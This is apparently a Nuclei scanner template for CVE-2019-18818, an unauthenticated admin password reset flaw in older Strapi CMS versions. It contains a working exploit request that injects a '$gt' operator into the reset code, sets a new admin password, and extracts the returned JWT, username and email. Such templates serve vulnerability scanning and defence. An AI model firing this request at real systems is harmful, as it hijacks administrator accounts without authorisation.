id: CVE-2019-18818 info: name: strapi CMS Unauthenticated Admin Password Reset author: idealphase severity: critical description: strapi CMS before 3.0.0-beta.17.5 mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js. reference: - https://github.com/advisories/GHSA-6xc2-mj39-q599 - https://www.exploit-db.com/exploits/50239 - https://nvd.nist.gov/vuln/detail/CVE-2019-18818 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-18818 cwe-id: CWE-640 tags: cve,cve2019,strapi,auth-bypass,intrusive requests: - raw: - | POST /admin/auth/reset-password HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} Content-Type: application/json {"code": {"$gt": 0}, "password": "SuperStrongPassword1", "passwordConfirmation": "SuperStrongPassword1"} matchers-condition: and matchers: - type: status status: - 200 - type: word words: - "application/json" part: header - type: word condition: and words: - '"username":' - '"email":' - '"jwt":' part: body extractors: - type: json json: - .user.username - .user.email # Enhanced by mp on 2022/04/01